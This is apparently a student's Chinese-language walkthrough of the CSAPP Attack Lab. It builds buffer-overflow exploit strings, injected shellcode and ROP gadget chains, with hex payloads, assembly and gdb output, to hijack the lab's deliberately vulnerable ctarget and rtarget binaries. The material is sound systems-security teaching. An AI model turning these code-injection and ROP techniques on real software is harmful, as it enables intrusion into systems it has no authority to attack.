实验介绍
本实验中,我们需要利用缓冲区溢出漏洞,来修改一个二进制可执行文件的运行时行为。
预备知识
缓冲区溢出的原理,参考《CSAPP原书第3版》
3.10
小节gdb
和objdump
使用x86_64下的汇编
实验准备
首先获取实验所需文件target1.tar
: http://csapp.cs.cmu.edu/3e/labs.html
linux
下执行tar xvf target1.tar
,得到如下文件。每个文件作用简述如下:
ctarget
:代码注入攻击的程序。rtarget
:ROP攻击的程序。cookie.txt
: 记录cookie
的值,攻击时需要用到。farm.c
: 用于ROP攻击寻找gadget
的文件。hex2raw
:将ASCII码转化为字符串的小程序,用于构造攻击字符串。
实验共有5关,每一关的目标如下:
实验前,务必仔细阅读attackLab
实验手册,可参考attacklab.pdf
第一关
这一关不需注入新的代码,只需要让目标程序ctarget
重定向到一个已存在的过程即可。
ctarget
中定义了test
函数, test
函数会调用getbuf
函数,C代码如下:
1 | void test() { |
ctarget
中还定义了touch1
函数,C代码如下:
1 | void touch1() { |
本关的目标是:在getbuf
函数返回时,令程序跳转到touch1()
而不是从test()
正常返回。
我们需要攻击getbuf
函数,构造输入字符串,利用缓冲区溢出修改栈中的返回地址。
首先查看getbuf
函数的汇编代码:
1 | 00000000004017a8 <getbuf>: |
从sub 0x28 %rsp
看出, getbuf
函数在栈上分配了40
个字节。再看下test
函数的汇编代码:
1 | (gdb) disassemble test |
这里callq
指令将0x401976
压栈,并跳转到getbuf
; getbuf
执行结束后,使用retq
指令从栈中弹出0x401976
,并作为返回地址跳转。
假设输入字符串是"1234567876543210"
, 程序执行到0x4017b4
,此时栈组织如下:
因此,我们需要先把栈上40
字节填满,然后将touch1
的地址写到$rsp + 0x28
处,覆盖原先正常的返回地址0x401976
。下面找到touch1
的地址为0x4017c0
1 | (gdb) disassemble touch1 |
构造攻击字符串, 写到文件hex1
1 | 00 00 00 00 00 00 00 00 # 前40个字节任意填,目的是将第40个字节之后的返回地址改写为touch1的地址 |
利用hex2raw
工具将字节码转为字符串,写到文件answer1
, 用法如下:
1 | ./hex2raw < hex1 > answer1 |
执行ctarget
程序验证结果,其中-i
指定字符串所在文件,-q
必选参数
1 | # ./ctarget -q -i answer1 |
第二关
与第一关不同, 这关还需要在输入字符串中注入攻击代码。首先查看touch2
代码:
1 | void touch2(unsigned val) { |
可以看出,我们需要在跳转到touch2
的时候将cookie
的值作为参数传递。思路如下:
将返回地址改写为栈中的注入代码的地址。栈的地址可以用
gdb
跑一把程序确认在注入代码中,将
cookie
值传递到%rdi
。因为x86-64
汇编使用%rdi
作为第一个参数确定
touch2
的起始地址并跳转。可利用push
和ret
指令实现跳转
首先确定栈的地址,在0x4017af callq 401a40 <Gets>
处打断点,查看%rsp
值
1 | # gdb ctarget |
得到栈的地址为0x5561dc78
, 这正是我们注入代码所在的位置。
接下来需要将cookie
值传给%rdi
,再跳转到touch2
。touch2
地址可通过查看汇编代码得到,结果是0x4017ec
;跳转到touch2的思路是:先利用push
指令将touch2
地址压栈,接着用retq
从栈中弹出touch2
地址并跳转。
编写如下注入代码,保存到文件inject2.s
1 | movl $0x59b997fa, %edi # cookie值为0x59b997fa |
执行gcc -c inject2.s
, objdump -d inject2.o
, 将汇编文件转为二进制, 得到如下机器码:
1 | 0000000000000000 <.text>: |
综上,得到我们需要输入的字符串
1 | bf fa 97 b9 59 68 ec 17 # 攻击代码位于地址0x5561dc78 |
此时的栈组织如下:
第三关
touch3
代码如下:
1 | int hexmatch(unsigned val, char *sval) { |
和第二关类似,我们需要传入cookie
字符串并跳转到touch3
。但需要注意hexmatch
函数被调用后,会覆盖一部分getbuf
的缓冲区。为了避免这一点,可以将cookie
字符串放到test
的栈帧里。这一关的思路如下:
将返回地址改写为注入代码所在的地址。栈的地址可以用
gdb
跑一把程序确认将
cookie
字符串放到test
的栈帧里。在注入代码中,将cookie
串的首地址传递到%rdi
。确定
touch3
的起始地址并跳转。可利用push
和ret
指令实现跳转
与第二关类似,编写如下注入代码,保存到文件inject3.s
1 | mov $0x5561dca8,%rdi # 将cookie字符串放到test栈帧中,这里放到返回地址(0x5561dca0)+0x8处 |
执行gcc -c inject3.s
, objdump -d inject3.o
, 将汇编文件转为二进制, 得到如下机器码:
1 | 0000000000000000 <.text>: |
我第一次写这块汇编代码时,犯了两个错误:
将
$0x5561dca8
错写成$0x5561dca4
, 导致段错误。注意64位机器上执行压栈和退栈操作,栈指针%rsp
应该减去或加上8
,而不是4
pushq $0x4018fa
中漏写了$
符号,导致压栈的数据不对。注意对立即数操作时必须加上$符号
用man ascii
查表 ,将字符串59b997fa
转成ASCII码:35 39 62 39 39 37 66 61
综上,得到我们需要输入字符串
1 | 48 c7 c7 a8 dc 61 55 68 # 攻击代码位于地址0x5561dc78 |
此时的栈组织如下:
第四关
在前三关,我们插入攻击代码,同时插入指向攻击代码的指针,而产生这个指针需要跑下代码确认栈的地址。但是在第四、五关的rtarget
程序中,采用了如下策略防止代码注入攻击:
- 栈随机化,每次运行相同的程序,它们的栈地址是不同的。
- 限制可执行代码区域,栈是不可执行的。
既然注入代码不可行,能不能利用已有的可执行代码来实现目的呢?以下介绍一种叫ROP
的攻击方式
ROP
即return-oriented-programming
。策略是寻找已有的一些以ret
命令结尾的指令(每条这样的指令称为gadget
),通过在这些gadget
之间不断跳转,拼凑处我们想要的指令来实现攻击目的,如下图:(c3
是retq
的字节码)
在rtarget
程序中,有很多这样的gadget
可以利用,举例如下:
1 | 00000000004019a0 <addval_273>: |
注意到48 89 c7
恰好是movq %rax, %rdi
的编码, c3
表示ret
指令。因此这段代码包含了一个gadget
,且起始地址为0x4019a2
。也就是说,如果我们改写栈的返回地址到0x4019a2
,就可以执行movq %rax, %rdi
和ret
两条已有指令,绕过了栈上不可执行代码的限制。思路如下:
- 将
cookie
值传递给%rdi
,难点在于如何用已有的gadget
拼凑出我们需要的指令,可参考如下的指令表。 - 将
touch2
的起始地址放到栈中。查看汇编代码得到touch2
地址为0x4017ec
。
另外,ret
的字节编码是0xc3
;nop
的字节编码是0x90
,啥也不做,只是将%rip
加1。
可以在start_farm
和end_farm
之间找到所有可利用的gadget
。
1 | 0000000000401994 <start_farm>: |
为了将cookie
传给%rdi
,可以先将cookie
的值写到栈,再利用popq %rdi
指令实现。
查表可知pop
的编码在58 ~ 5f
。全局搜索后没找到5f c3
或5f 90 c3
,说明不能用$popq %rdi
一步到位;但是可以在addval_219
中找到58 90 c3
,先将栈中的值弹出传到%rax
。记录起始地址为0x4019ab
。
接着想办法把%rax
的值传递到%rdi
。查表,在gadget中找到48 89 c7
,也就是movq %rax, %rdi
指令,可以在<addval_273>
中找到,而且后面正好跟了c3
,记录起始地址为0x4019a2
。
到此,我们完成了gadget
的拼凑,输入的字符串如下:
1 | 00 00 00 00 00 00 00 00 |
此时的栈组织如下:
第五关
和第三关类似,这关需要将cookie
字符串的首地址传给%rdi
, 再调用touch3
。
由于栈位置是随机的,需要用栈顶地址+偏移来确定cookie
串的位置。 栈顶地址即$rsp
,可通过mov %rsp XXX
获取,偏移需要根据gadget
指令的长度来确定。
如何将cookie
串地址传到%rdi
呢?可以在farm.o
中可以找到如下的gadget
1 | 00000000004019d6 <add_xy>: |
再结合所有gadget
,多次尝试后发现一个可行解,如下:
将
%rsp
传给%rdi
,利用mov
实现。将偏移传给
%rsi
, 需利用pop
和多个mov
实现。偏移量需要在找到所有gadget
后通过计算得出。用
lea (%rdi,%rsi,1),%rax
,将cookie
串的首地址传给%rax
将
%rax
传给%rdi
,利用mov
指令
具体步骤
1. 将%rsp
传给%rdi
通过movq %rsp,%rax
,movq %rax,%rdi
实现:
1 | 0000000000401aab <setval_350>: |
movq %rsp,%rax
编码为48 89 e0
, 地址为0x401aad
。
movq %rax %rdi
编码为48 89 c7
,地址为0x4019a2
。
2. 将偏移传给$rsi
先将偏移写到栈里,再通过如下4
条指令传到$rsi
:
1 | pop %rax |
在以下的gadget
中找到这4
条指令:
1 | 00000000004019ca <getval_280>: |
pop %rax
编码为58
, 地址为0x4019cc
。
mov %eax %edx
编码为89 c2
,地址为0x4019dd
。
mov %edx %ecx
编码为89 d1
,地址为0x401a34
。
mov %ecx,%esi
编码为89 ce
,地址为0x401a13
。
3. 将cookie
字符串传给%rdi
利用lea ($rdi,%rsi,1),%rax
,地址为0x4019d6
。
4. 将%rax
传给$rdi
1 | 00000000004019c3 <setval_426>: |
mov %rax,%rdi
编码为48 89 c7
,地址为0x4019c5
。
到此,我们完成了gadget
的构造,只需继续在栈中依次填入touch3
返回地址,cookie
字符串,0
(字符串结束标志),再确定偏移即可。
偏移应该是cookie字符串首地址减去(返回地址+0x8), 中间隔了9
条指令,因此偏移量为72
, 即0x48
输入的字符串如下:
1 | 00 00 00 00 00 00 00 00 |
此时的栈组织如下:
总结
通过这次实验,初步了解栈和缓冲区溢出的原理,以及安全编码的重要性。
参考资料
《深入理解计算机系统 原书第3版》